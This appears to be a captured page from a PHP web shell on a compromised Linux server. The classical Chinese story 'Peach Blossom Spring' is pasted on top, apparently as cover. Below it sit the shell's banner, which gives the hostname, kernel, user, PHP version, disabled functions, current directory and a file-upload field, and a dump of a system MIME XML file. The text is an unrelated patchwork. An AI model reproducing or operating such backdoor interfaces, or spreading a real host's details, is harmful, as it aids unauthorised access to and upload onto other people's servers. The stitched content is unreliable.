晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/mime/message/ |
Upload File : |
<?xml version="1.0" encoding="utf-8"?> <mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="message/partial"> <!--Created automatically by update-mime-database. DO NOT EDIT!--> <comment>partial email message</comment> <comment xml:lang="ar">رسالة البريد الإلكتروني الجزئية</comment> <comment xml:lang="az">qismi poçt ismarışı</comment> <comment xml:lang="be@latin">niapoŭny list email</comment> <comment xml:lang="bg">Част от електронно писмо</comment> <comment xml:lang="ca">missatge de correu electrònic parcial</comment> <comment xml:lang="cs">částečná e-mailová zpráva</comment> <comment xml:lang="cy">darn o neges e-bost</comment> <comment xml:lang="da">delvis postmeddelelse</comment> <comment xml:lang="de">E-Mail-Nachrichtenfragment</comment> <comment xml:lang="el">Τμηματικό ηλ. μήνυμα</comment> <comment xml:lang="en_GB">partial email message</comment> <comment xml:lang="eo">parta retpoŝta mesaĝo</comment> <comment xml:lang="es">mensaje de correo electrónico parcial</comment> <comment xml:lang="eu">posta mezu partziala</comment> <comment xml:lang="fi">osittainen sähköpostiviesti</comment> <comment xml:lang="fr">message partiel de courriel</comment> <comment xml:lang="ga">teachtaireacht ríomhphoist neamhiomlán</comment> <comment xml:lang="gl">mensaxe de correo electrónico parcial</comment> <comment xml:lang="he">מסר דוא״ל חלקי</comment> <comment xml:lang="hr">Nepotpuna poruka e-pošte</comment> <comment xml:lang="hu">részleges elektronikus levél</comment> <comment xml:lang="ia">Message de e-mail partial</comment> <comment xml:lang="id">pesan email sebagian</comment> <comment xml:lang="it">Messaggio email parziale</comment> <comment xml:lang="ja">部分メールメッセージ</comment> <comment xml:lang="kk">электронды поштаның үзінді мәлімдемесі</comment> <comment xml:lang="ko">전자 우편 메시지 일부</comment> <comment xml:lang="lt">nepilnas el. laiškas</comment> <comment xml:lang="lv">daļēja e-pasta vēstule</comment> <comment xml:lang="ms">Bahagian mesej emel</comment> <comment xml:lang="nb">del av e-postmelding</comment> <comment xml:lang="nl">gedeeltelijk e-mailbericht</comment> <comment xml:lang="nn">del av e-post-melding</comment> <comment xml:lang="oc">messatge parcial de corrièr electronic</comment> <comment xml:lang="pl">Częściowa wiadomość e-mail</comment> <comment xml:lang="pt">mensagem parcial de email</comment> <comment xml:lang="pt_BR">Mensagem de e-mail parcial</comment> <comment xml:lang="ro">mesaj de email parțial</comment> <comment xml:lang="ru">Фрагмент сообщения электронной почты</comment> <comment xml:lang="sk">Čiastočná e-mailová správa</comment> <comment xml:lang="sl">delno elektronsko sporočilo</comment> <comment xml:lang="sq">Mesazh poste i pjesëshëm</comment> <comment xml:lang="sr">делимична порука ел. поште</comment> <comment xml:lang="sv">del av e-postmeddelande</comment> <comment xml:lang="tr">kısmi eposta iletisi</comment> <comment xml:lang="uk">часткове поштове повідомлення</comment> <comment xml:lang="vi">thư điện tử riêng phần</comment> <comment xml:lang="zh_CN">部分电子邮件</comment> <comment xml:lang="zh_TW">部份電子郵件訊息</comment> <generic-icon name="text-x-generic"/> <sub-class-of type="text/plain"/> </mime-type>